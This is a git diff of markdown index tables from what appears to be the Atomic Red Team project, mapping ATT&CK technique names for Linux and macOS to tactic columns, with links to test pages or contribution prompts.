+|  |  | TFTP Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Transport Agent [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Modify System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Trap](../../T1546.005/T1546.005.md) |  | Network Address Translation Traversal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | [Unix Shell Configuration Modification](../../T1546.004/T1546.004.md) |  | Network Boundary Bridging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Network Device Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  | Web Shell [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Obfuscated Files or Information](../../T1027/T1027.md) |  |  |  |  |  |  |  |
+|  |  | XDG Autostart Entries [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Patch System Image [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | [Pluggable Authentication Modules](../../T1556.003/T1556.003.md) |  |  |  |  |  |  |  |
+|  |  |  |  | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Pre-OS Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Proc Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Ptrace System Calls [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | ROMMONkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Reduce Key Space [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
+|  |  |  |  | Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | [Rename System Utilities](../../T1036.003/T1036.003.md) |  |  |  |  |  |  |  |
 |  |  |  |  | Revert Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
 |  |  |  |  | Right-to-Left Override [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  |  |  |  |  |
diff --git a/atomics/Indexes/Matrices/macos-matrix.md b/atomics/Indexes/Matrices/macos-matrix.md
index 5fd72586..74ab1aec 100644
--- a/atomics/Indexes/Matrices/macos-matrix.md
+++ b/atomics/Indexes/Matrices/macos-matrix.md
@@ -2,51 +2,57 @@
 | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact |
 |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 | Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [AppleScript](../../T1059.002/T1059.002.md) | Account Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Access Removal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Binary Padding](../../T1027.001/T1027.001.md) | [Bash History](../../T1552.003/T1552.003.md) | Application Window Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Command History](../../T1070.003/T1070.003.md) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | [Credential Stuffing](../../T1110.004/T1110.004.md) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Library [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
-| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compromise Client Software Binary [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | Code Signing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials In Files](../../T1552.001/T1552.001.md) | Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Code Signing Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Credentials from Password Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [File and Directory Discovery](../../T1083/T1083.md) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchctl](../../T1569.001/T1569.001.md) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | [Credentials from Web Browsers](../../T1555.003/T1555.003.md) | Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launchd](../../T1053.004/T1053.004.md) | [Cron](../../T1053.003/T1053.003.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Account](../../T1087.001/T1087.001.md) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deobfuscate/Decode Files or Information](../../T1140/T1140.md) | Forge Web Credentials [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Local Groups](../../T1069.001/T1069.001.md) | VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disable or Modify System Firewall [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [GUI Input Capture](../../T1056.002/T1056.002.md) | [Network Service Scanning](../../T1046/T1046.md) |  | Data from Information Repositories [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol](../../T1048.003/T1048.003.md) | Dead Drop Resolver [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Attachment [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | [Disable or Modify Tools](../../T1562.001/T1562.001.md) | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Share Discovery](../../T1135/T1135.md) |  | Data from Local System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Web Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Fronting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing Link [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Python [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Keychain](../../T1555.001/T1555.001.md) | [Network Sniffing](../../T1040/T1040.md) |  | Data from Network Shared Drive [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Password Policy Discovery](../../T1201/T1201.md) |  | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Cloud Storage [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Emond](../../T1546.014/T1546.014.md) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [GUI Input Capture](../../T1056.002/T1056.002.md) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Input Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Source [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | [Process Discovery](../../T1057/T1057.md) |  | Keylogging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Fallback Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | System Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Agent](../../T1543.001/T1543.001.md) | Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Remote System Discovery](../../T1018/T1018.md) |  | [Local Data Staging](../../T1074.001/T1074.001.md) |  | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | [Unix Shell](../../T1059.004/T1059.004.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Security Software Discovery](../../T1518.001/T1518.001.md) |  | Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | OS Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Agent](../../T1543.001/T1543.001.md) | [Launchd](../../T1053.004/T1053.004.md) | [File Deletion](../../T1070.004/T1070.004.md) | Password Guessing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Software Discovery](../../T1518/T1518.md) |  | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | [Ingress Tool Transfer](../../T1105/T1105.md) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  | Visual Basic [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Launch Daemon](../../T1543.004/T1543.004.md) | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Checks](../../T1497.001/T1497.001.md) |  | [Screen Capture](../../T1113/T1113.md) |  | [Internal Proxy](../../T1090.001/T1090.001.md) | [Resource Hijacking](../../T1496/T1496.md) |
-|  |  | [Launchd](../../T1053.004/T1053.004.md) | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | [Gatekeeper Bypass](../../T1553.001/T1553.001.md) | Password Spraying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Information Discovery](../../T1082/T1082.md) |  | Video Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Junk Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | [Local Account](../../T1136.001/T1136.001.md) | [Plist Modification](../../T1547.011/T1547.011.md) | Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Pluggable Authentication Modules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hidden Files and Directories](../../T1564.001/T1564.001.md) | [Private Keys](../../T1552.004/T1552.004.md) | [System Network Configuration Discovery](../../T1016/T1016.md) |  |  |  | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | [Logon Script (Mac)](../../T1037.002/T1037.002.md) | [RC Scripts](../../T1037.004/T1037.004.md) | [Hidden Users](../../T1564.002/T1564.002.md) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Connections Discovery](../../T1049/T1049.md) |  |  |  | [Multi-hop Proxy](../../T1090.003/T1090.003.md) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-|  |  | Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Re-opened Applications](../../T1547.007/T1547.007.md) | Hidden Window [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Owner/User Discovery](../../T1033/T1033.md) |  |  |  | Multiband Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) |
-|  |  | [Plist Modification](../../T1547.011/T1547.011.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Hide Artifacts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |  |  |  | Non-Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
